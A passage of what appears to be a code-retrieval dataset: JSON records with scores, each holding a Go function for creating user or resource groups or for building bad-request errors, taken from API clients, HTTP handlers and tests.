AddGroup(groupCreateItem GroupCreateItem) (*GroupItem, *APIResponse, error) {\n\n\tvar httpMethod = \"Post\"\n\t// create path and map variables\n\tpath := a.Configuration.BasePath + \"/groups\"\n\n\n\theaderParams := make(map[string]string)\n\tqueryParams := url.Values{}\n\tformParams := make(map[string]string)\n\tvar postBody interface{}\n\tvar fileName string\n\tvar fileBytes []byte\n\t// authentication '(PasswordGrant)' required\n\t// oauth required\n\tif a.Configuration.AccessToken != \"\"{\n\t\theaderParams[\"Authorization\"] = \"Bearer \" + a.Configuration.AccessToken\n\t}\n\t// add default headers if any\n\tfor key := range a.Configuration.DefaultHeader {\n\t\theaderParams[key] = a.Configuration.DefaultHeader[key]\n\t}\n\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{ \"application/vnd.api+json\", }\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := a.Configuration.APIClient.SelectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\theaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\n\t\t\"application/vnd.api+json\",\n\t}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := a.Configuration.APIClient.SelectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\theaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\t// body params\n\tpostBody = &groupCreateItem\n\n\tvar successPayload = new(GroupItem)\n\thttpResponse, err := a.Configuration.APIClient.CallAPI(path, httpMethod, postBody, headerParams, queryParams, formParams, fileName, fileBytes)\n\tif err != nil {\n\t\treturn successPayload, NewAPIResponse(httpResponse.RawResponse), err\n\t}\n\terr = json.Unmarshal(httpResponse.Body(), &successPayload)\n\treturn successPayload, NewAPIResponse(httpResponse.RawResponse), err\n}", "title": "" }, { "docid": "9946545780aa02a7a014f8a14d13beb4", "score": "0.5672373", "text": "func TestCreateNodeGroupDuplicate(t *testing.T) {\n\tth.SetupHTTP()\n\tdefer th.TeardownHTTP()\n\n\thandleCreateNodeGroupDuplicate(t)\n\n\tsc := fake.ServiceClient()\n\tsc.Endpoint = sc.Endpoint + \"v1/\"\n\n\tcreateOpts := nodegroups.CreateOpts{\n\t\tName: \"default-worker\",\n\t}\n\n\t_, err := nodegroups.Create(sc, clusterUUID, createOpts).Extract()\n\tth.AssertEquals(t, true, err != nil)\n\t_, isNotAccepted := err.(gophercloud.ErrDefault409)\n\tth.AssertEquals(t, true, isNotAccepted)\n}", "title": "" }, { "docid": "fcbc048f8d79dbda157570bac651359f", "score": "0.5664883", "text": "func NewGetRuleGroupsBadRequest() *GetRuleGroupsBadRequest {\n\treturn &GetRuleGroupsBadRequest{}\n}", "title": "" }, { "docid": "95c5655f8f3629c695147b178b8c4221", "score": "0.5654866", "text": "func CreateGroup(db *gorm.DB, w http.ResponseWriter, r *http.Request) {\n\tvar p CreateGroupRequest\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&p); err != nil {\n\t\trespondWithError(w, http.StatusBadRequest, \"Invalid request payload\")\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\tvar members []int64\n\tmembers = append(members, int64(p.AdminID))\n\n\tgroup := models.Group{Name: p.Name, CourseID: p.CourseID, CourseName: p.CourseName, AdminID: p.AdminID, Members: members}\n\tif err := group.CreateGroup(db); err != nil {\n\t\trespondWithError(w, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\n\n\tif err := group.GetGroup(db); err != nil {\n\t\tswitch err {\n\t\tcase gorm.ErrRecordNotFound:\n\t\t\trespondWithError(w, http.StatusNotFound, \"Group not found\")\n\t\tdefault:\n\t\t\trespondWithError(w, http.StatusInternalServerError, err.Error())\n\t\t}\n\t\treturn\n\t}\n\n\tvar gr GroupResponse\n\tpopulateGroupResponse(&group, &gr)\n\n\trespondWithJSON(w, http.StatusCreated, gr)\n}", "title": "" }, { "docid": "8692680ec9a32d0fbaa0fca9f943f30b", "score": "0.5647136", "text": "func NewBadRequest(reason string) *Error {\n return &Error{\n Type: BadRequest,\n Message: fmt.Sprintf(\"Bad request. Reason: %v\", reason),\n }\n}", "title": "" }, { "docid": "08f6e14afc070e9ca7243040fd1fa183", "score": "0.55892247", "text": "func (a *GroupsApiService) CreateGroupExecute(r ApiCreateGroupRequest) (*Group, *http.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = http.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tformFiles []formFile\n\t\tlocalVarReturnValue *Group\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"GroupsApiService.CreateGroup\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, &GenericOpenAPIError{error: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/groups\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\tif r.group == nil {\n\t\treturn localVarReturnValue, nil, reportError(\"group is required and must be specified\")\n\t}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = r.group\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, formFiles)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tvar v OdataError\n\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\tif err != nil {\n\t\t\tnewErr.error = err.Error()\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tnewErr.model = v\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "e6796c79806c98ff9ad003adbe190a5d", "score": "0.5584686", "text": "func NewBadRequest(err error, con string, userMsg ...string) Error {\n\treturn New(http.StatusBadRequest, err, con, userMsg...)\n}", "title": "" }, { "docid": "92167d89d445365e885ae4a45f1a6d11", "score": "0.55828035", "text": "func NewDeleteNSGroupBadRequest() *DeleteNSGroupBadRequest {\n\treturn &DeleteNSGroupBadRequest{}\n}", "title": "" }, { "docid": "6f414558f5393dd756181df42bf7b25d", "score": "0.5579309", "text": "func (c *client) CreateGroup(group *Group) (*Group, error) {\n\tin := &APIPayload{Group: group}\n\tout := new(APIPayload)\n\terr := c.post(\"/api/v2/groups.json\", in, out)\n\treturn out.Group, err\n}", "title": "" }, { "docid": "6fcf9fb6bebb319cc93c0ba938ea67a8", "score": "0.5565001", "text": "func DefaultCreateGroup(ctx context.Context, in *Group, db *gorm1.DB) (*Group, error) {\n\tif in == nil {\n\t\treturn nil, errors1.NilArgumentError\n\t}\n\tormObj, err := in.ToORM(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif hook, ok := interface{}(&ormObj).(GroupORMWithBeforeCreate_); ok {\n\t\tif db, err = hook.BeforeCreate_(ctx, db); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err = db.Create(&ormObj).Error; err != nil {\n\t\treturn nil, err\n\t}\n\tif hook, ok := interface{}(&ormObj).(GroupORMWithAfterCreate_); ok {\n\t\tif err = hook.AfterCreate_(ctx, db); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tpbResponse, err := ormObj.ToPB(ctx)\n\treturn &pbResponse, err\n}", "title": "" }, { "docid": "6fcf9fb6bebb319cc93c0ba938ea67a8", "score": "0.5565001", "text": "func DefaultCreateGroup(ctx context.Context, in *Group, db *gorm1.DB) (*Group, error) {\n\tif in == nil {\n\t\treturn nil, errors1.NilArgumentError\n\t}\n\tormObj, err := in.ToORM(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif hook, ok := interface{}(&ormObj).(GroupORMWithBeforeCreate_); ok {\n\t\tif db, err = hook.BeforeCreate_(ctx, db); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tif err = db.Create(&ormObj).Error; err != nil {\n\t\treturn nil, err\n\t}\n\tif hook, ok := interface{}(&ormObj).(GroupORMWithAfterCreate_); ok {\n\t\tif err = hook.AfterCreate_(ctx, db); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tpbResponse, err := ormObj.ToPB(ctx)\n\treturn &pbResponse, err\n}", "title": "" }, { "docid": "327b37d4c3f9186c70b1bfdfaf2785c8", "score": "0.55557054", "text": "func (a *SensitiveDataScannerApi) CreateScanningGroup(ctx _context.Context, body SensitiveDataScannerGroupCreateRequest) (SensitiveDataScannerCreateGroupResponse, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarReturnValue SensitiveDataScannerCreateGroupResponse\n\t)\n\n\tlocalBasePath, err := a.Client.Cfg.ServerURLWithContext(ctx, \"v2.SensitiveDataScannerApi.CreateScanningGroup\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, datadog.GenericOpenAPIError{ErrorMessage: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/api/v2/sensitive-data-scanner/config/groups\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\tlocalVarHeaderParams[\"Content-Type\"] = \"application/json\"\n\tlocalVarHeaderParams[\"Accept\"] = \"application/json\"\n\n\t// body params\n\tlocalVarPostBody = &body\n\tdatadog.SetAuthKeys(\n\t\tctx,\n\t\t&localVarHeaderParams,\n\t\t[2]string{\"apiKeyAuth\", \"DD-API-KEY\"},\n\t\t[2]string{\"appKeyAuth\", \"DD-APPLICATION-KEY\"},\n\t)\n\treq, err := a.Client.PrepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, nil)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.Client.CallAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := datadog.ReadBody(localVarHTTPResponse)\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := datadog.GenericOpenAPIError{\n\t\t\tErrorBody: localVarBody,\n\t\t\tErrorMessage: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 400 || localVarHTTPResponse.StatusCode == 403 || localVarHTTPResponse.StatusCode == 429 {\n\t\t\tvar v APIErrorResponse\n\t\t\terr = a.Client.Decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.ErrorModel = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.Client.Decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := datadog.GenericOpenAPIError{\n\t\t\tErrorBody: localVarBody,\n\t\t\tErrorMessage: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "9c9298731f6ad1042c42010e2edd7ff1", "score": "0.553716", "text": "func CreateDefaultGroup(db gorpmapper.SqlExecutorWithTx, groupName string) error {\n\tif g, err := LoadByName(context.Background(), db, groupName); g != nil {\n\t\treturn nil\n\t} else if err != nil && !sdk.ErrorIs(err, sdk.ErrNotFound) {\n\t\treturn err\n\t}\n\n\tvar g = sdk.Group{\n\t\tName: groupName,\n\t}\n\tif err := Insert(context.Background(), db, &g); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "70474777797d0d8b34a463aed6053c0f", "score": "0.55338645", "text": "func (gs *GroupService) CreateGroup(rq *http.Request, args *GroupArgs, reply *CreateGroupReply) error {\n\tnewGroup := &model.Group{Title: args.Title}\n\terr := gs.Stor.CreateGroup(newGroup)\n\tif err != nil {\n\t\treturn err\n\t}\n\treply.Message = \"Created Group \" + args.Title\n\treply.Group = newGroup\n\treturn nil\n}", "title": "" }, { "docid": "5bc7fb0d553c96f776445ffb20038d6c", "score": "0.55329597", "text": "func (ctx *GetCompanyGroupHyCompanyContext) BadRequest(r error) error {\n\tif ctx.ResponseData.Header().Get(\"Content-Type\") == \"\" {\n\t\tctx.ResponseData.Header().Set(\"Content-Type\", \"application/vnd.goa.error\")\n\t}\n\treturn ctx.ResponseData.Service.Send(ctx.Context, 400, r)\n}", "title": "" }, { "docid": "34ef71e7a1bb7e35fd55cf9606c04024", "score": "0.5527294", "text": "func NewUpdateServerGroupBadRequest() *UpdateServerGroupBadRequest {\n\treturn &UpdateServerGroupBadRequest{}\n}", "title": "" }, { "docid": "3996611d9a34ed9a837c5eeca0f21347", "score": "0.5522049", "text": "func NewCreateBadRequest(body *CreateBadRequestResponseBody) *goa.ServiceError {\n\tv := &goa.ServiceError{\n\t\tName: *body.Name,\n\t\tID: *body.ID,\n\t\tMessage: *body.Message,\n\t\tTemporary: *body.Temporary,\n\t\tTimeout: *body.Timeout,\n\t\tFault: *body.Fault,\n\t}\n\n\treturn v\n}", "title": "" }, { "docid": "3996611d9a34ed9a837c5eeca0f21347", "score": "0.5522049", "text": "func NewCreateBadRequest(body *CreateBadRequestResponseBody) *goa.ServiceError {\n\tv := &goa.ServiceError{\n\t\tName: *body.Name,\n\t\tID: *body.ID,\n\t\tMessage: *body.Message,\n\t\tTemporary: *body.Temporary,\n\t\tTimeout: *body.Timeout,\n\t\tFault: *body.Fault,\n\t}\n\n\treturn v\n}", "title": "" }, { "docid": "4221d3979dc48023b3b31e93ec282fcd", "score": "0.5518079", "text": "func (p *LogProject) CreateMachineGroup(m *MachineGroup) (err error) {\n\tbody, err := json.Marshal(m)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\": \"application/json\",\n\t\t\"Accept-Encoding\": \"deflate\", // TODO: support lz4\n\t}\n\n\tr, err := request(p, \"POST\", \"/machinegroups\", h, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err = io.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to create machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "f3e3958a59cd610ea2644367da327c03", "score": "0.55129015", "text": "func (as *adminService) CreateOrUpdateGroupIfNescessary(group GoogleGroup) error {\n\tif *verbose {\n\t\tlog.Printf(\"adminService.CreateOrUpdateGroupIfNecessary %s\", group.EmailId)\n\t}\n\n\tgrp, err := as.client.GetGroup(group.EmailId)\n\tif err != nil {\n\t\tif as.checkForAPIErr404(err) {\n\t\t\tif !config.ConfirmChanges {\n\t\t\t\tlog.Printf(\"dry-run: would create group %q\\n\", group.EmailId)\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"Trying to create group: %q\\n\", group.EmailId)\n\t\t\t\tg := admin.Group{\n\t\t\t\t\tEmail: group.EmailId,\n\t\t\t\t}\n\t\t\t\tif group.Name != \"\" {\n\t\t\t\t\tg.Name = group.Name\n\t\t\t\t}\n\t\t\t\tif group.Description != \"\" {\n\t\t\t\t\tg.Description = group.Description\n\t\t\t\t}\n\t\t\t\tg4, err := as.client.InsertGroup(&g)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"unable to add new group %q: %w\", group.EmailId, err)\n\t\t\t\t}\n\t\t\t\tlog.Printf(\"> Successfully created group %s\\n\", g4.Email)\n\t\t\t}\n\t\t} else {\n\t\t\treturn fmt.Errorf(\"unable to fetch group %q: %w\", group.EmailId, err)\n\t\t}\n\t} else {\n\t\tif group.Name != \"\" && grp.Name != group.Name ||\n\t\t\tgroup.Description != \"\" && grp.Description != group.Description {\n\t\t\tif !config.ConfirmChanges {\n\t\t\t\tlog.Printf(\"dry-run: would update group name/description %q\\n\", group.EmailId)\n\t\t\t} else {\n\t\t\t\tlog.Printf(\"Trying to update group: %q\\n\", group.EmailId)\n\t\t\t\tg := admin.Group{\n\t\t\t\t\tEmail: group.EmailId,\n\t\t\t\t}\n\t\t\t\tif group.Name != \"\" {\n\t\t\t\t\tg.Name = group.Name\n\t\t\t\t}\n\t\t\t\tif group.Description != \"\" {\n\t\t\t\t\tg.Description = group.Description\n\t\t\t\t}\n\t\t\t\tg4, err := as.client.UpdateGroup(group.EmailId, &g)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"unable to update group %q: %w\", group.EmailId, err)\n\t\t\t\t}\n\t\t\t\tlog.Printf(\"> Successfully updated group %s\\n\", g4.Email)\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c303b95d5c34afb4c0914e44862b2c7e", "score": "0.5505074", "text": "func NewGetOpportunitiesGroupsBadRequest() *GetOpportunitiesGroupsBadRequest {\n\treturn &GetOpportunitiesGroupsBadRequest{}\n}", "title": "" }, { "docid": "d0cc8828d090816083a06af837966538", "score": "0.5504124", "text": "func CreateGroup(w http.ResponseWriter, r *http.Request) {\n\n\tdata := &GroupRequest{}\n\tif err := render.Bind(r, data); err != nil {\n\t\trender.Render(w, r, ErrInvalidRequest(err))\n\t\treturn\n\t}\n\n\tg, err := NewGroup(*data)\n\tif err != nil {\n\t\trender.Render(w, r, ErrNotFound(err))\n\t\treturn\n\t}\n\n\tms, err := NewMasterSchedule(data.Schedule, primitive.NilObjectID)\n\tif err != nil {\n\t\trender.Render(w, r, ErrInvalidRequest(err))\n\t\treturn\n\t}\n\n\t// get users already in system\n\texistingUsers := make([]*User, 0)\n\tnewUsers := make([]*User, 0)\n\trr := RegisterRequest{\"\", \"\", \"\", \"mehpwd\", primitive.NilObjectID} //TODO randomize\n\tfor _, addr := range data.MemberEmails {\n\t\t// TODO: verify email\n\t\trr.Email = addr\n\t\tu, err := NewUser(rr)\n\t\tif err != nil {\n\t\t\tif u != nil {\n\t\t\t\t// user exists\n\t\t\t\texistingUsers = append(existingUsers, u)\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\trender.Render(w, r, ErrInvalidRequest(err))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\t// user not in system, so we create\n\t\tnewUsers = append(newUsers, u)\n\t}\n\n\tresult, err := mh.InsertGroup(g, ms, newUsers, existingUsers)\n\tif err != nil {\n\t\trender.Render(w, r, ErrServer(err))\n\t\treturn\n\t}\n\n\tgroup := &Group{}\n\tmh.GetGroup(group, bson.M{\"_id\": result})\n\n\t// send out invites\n\tfor _, u := range existingUsers {\n\t\tgo jdchaimailer.SendGroupInvite(group.Name, u.FirstName, u.Email)\n\t}\n\tfor _, u := range newUsers {\n\t\terr := mh.GetUser(u, bson.M{\"email\": u.Email})\n\t\tif err == nil {\n\t\t\tjwt := createTokenString(u.ID.Hex(), 30*24*time.Hour) // expires in 30 days for \"activate\"\n\t\t\tlink := clientBaseURL + \"register?token=\" + jwt + \"&group=\" + group.Name + \"&groupID=\" + group.ID.Hex()\n\t\t\tgo jdchaimailer.SendWelcomRegistration(group.Name, u.Email, link)\n\t\t}\n\t}\n\trender.Status(r, http.StatusCreated)\n\trender.Render(w, r, NewGroupResponse(*group))\n}", "title": "" }, { "docid": "4c09a704102c80866728f35d100f905d", "score": "0.5498156", "text": "func (e Endpoints) CreateGroup(ctx context.Context, name string, desc string) (group *repository.GetGroupsResp, err error) {\n\trequest := CreateGroupRequest{\n\t\tDesc: desc,\n\t\tName: name,\n\t}\n\tresponse, err := e.CreateGroupEndpoint(ctx, request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn response.(CreateGroupResponse).Group, nil\n}", "title": "" }, { "docid": "66a0fb3af3106ea33e7648de46882379", "score": "0.54949653", "text": "func NewConflict(qualifiedResource schema.GroupResource, name string, err error) *StatusError {\n\treturn &StatusError{metav1.Status{\n\t\tStatus: metav1.StatusFailure,\n\t\tCode: http.StatusConflict,\n\t\tReason: metav1.StatusReasonConflict,\n\t\tDetails: &metav1.StatusDetails{\n\t\t\tGroup: qualifiedResource.Group,\n\t\t\tKind: qualifiedResource.Resource,\n\t\t\tName: name,\n\t\t},\n\t\tMessage: fmt.Sprintf(\"Operation cannot be fulfilled on %s %q: %v\", qualifiedResource.String(), name, err),\n\t}}\n}", "title": "" }, { "docid": "8f8bb21d413f0c70b34d3ff873258cc6", "score": "0.5488109", "text": "func (client *ManagementGroupsClient) createOrUpdateCreateRequest(ctx context.Context, groupID string, createManagementGroupRequest CreateManagementGroupRequest, options *ManagementGroupsBeginCreateOrUpdateOptions) (*policy.Request, error) {\n\turlPath := \"/providers/Microsoft.Management/managementGroups/{groupId}\"\n\tif groupID == \"\" {\n\t\treturn nil, errors.New(\"parameter groupID cannot be empty\")\n\t}\n\turlPath = strings.ReplaceAll(urlPath, \"{groupId}\", url.PathEscape(groupID))\n\treq, err := runtime.NewRequest(ctx, http.MethodPut, runtime.JoinPaths(client.ep, urlPath))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treqQP := req.Raw().URL.Query()\n\treqQP.Set(\"api-version\", \"2021-04-01\")\n\treq.Raw().URL.RawQuery = reqQP.Encode()\n\tif options != nil && options.CacheControl != nil {\n\t\treq.Raw().Header.Set(\"Cache-Control\", *options.CacheControl)\n\t}\n\treq.Raw().Header.Set(\"Accept\", \"application/json\")\n\treturn req, runtime.MarshalAsJSON(req, createManagementGroupRequest)\n}", "title": "" }, { "docid": "5e6f0702317aceaa8cdc21bcde13ae20", "score": "0.5486471", "text": "func (svc *ResourceGroupsService) Create(group ResourceGroupData) (\n\tresponse ResourceGroupResponse,\n\terr error,\n) {\n\terr = svc.create(group, &response)\n\treturn\n}", "title": "" }, { "docid": "0cb2b47ad347f43c2923678fd8f2f2d1", "score": "0.547737", "text": "func CreateDescribeApiGroupRequest() (request *DescribeApiGroupRequest) {\n\trequest = &DescribeApiGroupRequest{\n\t\tRpcRequest: &requests.RpcRequest{},\n\t}\n\trequest.InitWithApiInfo(\"CloudAPI\", \"2016-07-14\", \"DescribeApiGroup\", \"apigateway\", \"openAPI\")\n\trequest.Method = requests.POST\n\treturn\n}", "title": "" }, { "docid": "3f3e2e4ec0e788fbeb4bee2ee76c8a5e", "score": "0.54763246", "text": "func NewHttpBadRequest(format string, fmtArgs ...interface{}) HttpErr {\n\treturn NewHttpError(http.StatusBadRequest, format, fmtArgs...)\n}", "title": "" }, { "docid": "0d4e5448fc12359a756396b41276b05d", "score": "0.5457523", "text": "func NewCreateGroupNotFound() *CreateGroupNotFound {\n\treturn &CreateGroupNotFound{}\n}", "title": "" }, { "docid": "224f27d0cbd38a262130fc709fffc0b8", "score": "0.5452157", "text": "func NewDeleteRuleGroupsBadRequest() *DeleteRuleGroupsBadRequest {\n\treturn &DeleteRuleGroupsBadRequest{}\n}", "title": "" }, { "docid": "ef8d4bd2f2c1c2182e8075dd26b1db9f", "score": "0.5440633", "text": "func CreateBadRequestResponse(w http.ResponseWriter, err error) {\n\tw.WriteHeader(http.StatusBadRequest)\n\tresponseErrorData(w, err)\n}", "title": "" }, { "docid": "c81623c397338a022cc57b2312f78856", "score": "0.5431604", "text": "func NewDeleteCountryGroupBadRequest() *DeleteCountryGroupBadRequest {\n\treturn &DeleteCountryGroupBadRequest{}\n}", "title": "" }, { "docid": "e9e69c1b76a2fbc3a867af9009be0a9c", "score": "0.54223025", "text": "func TestValidateGroupName(t *testing.T) {\n\tp := newTestProject()\n\terr := ValidateProject(p)\n\tassert.NoError(t, err)\n\tp.Spec.Roles[0].Groups = []string{\"mygroup\"}\n\terr = ValidateProject(p)\n\tassert.NoError(t, err)\n\tbadGroupNames := []string{\n\t\t\"\",\n\t\t\" \",\n\t\t\"my, group\",\n\t\t\"my,group\",\n\t\t\"my\\ngroup\",\n\t\t\"my\\rgroup\",\n\t}\n\tfor _, badName := range badGroupNames {\n\t\tp.Spec.Roles[0].Groups = []string{badName}\n\t\terr = ValidateProject(p)\n\t\tassert.Error(t, err)\n\t}\n}", "title": "" }, { "docid": "330864ed6852158b8f922a565270a467", "score": "0.5407854", "text": "func (m *Client) CreateGroup(arg0 zendesk.Group) (zendesk.Group, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateGroup\", arg0)\n\tret0, _ := ret[0].(zendesk.Group)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "d683d15dced22d3ff2728256e9bfa1b1", "score": "0.540632", "text": "func (a *TenantsApiService) CreateUserGroup(ctx context.Context, body UserGroupEntity) (UserGroupEntity, *http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Post\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue UserGroupEntity\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/tenants/user-groups\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &body\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\tlocalVarHttpResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tif localVarHttpResponse.StatusCode < 300 {\n\t\t// If we succeed, return the data, otherwise pass on to decode error.\n\t\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"));\n\t\tif err == nil { \n\t\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t\t}\n\t}\n\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tnewErr := GenericSwaggerError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHttpResponse.Status,\n\t\t}\n\t\t\n\t\tif localVarHttpResponse.StatusCode == 200 {\n\t\t\tvar v UserGroupEntity\n\t\t\terr = a.client.decode(&v, localVarBody, 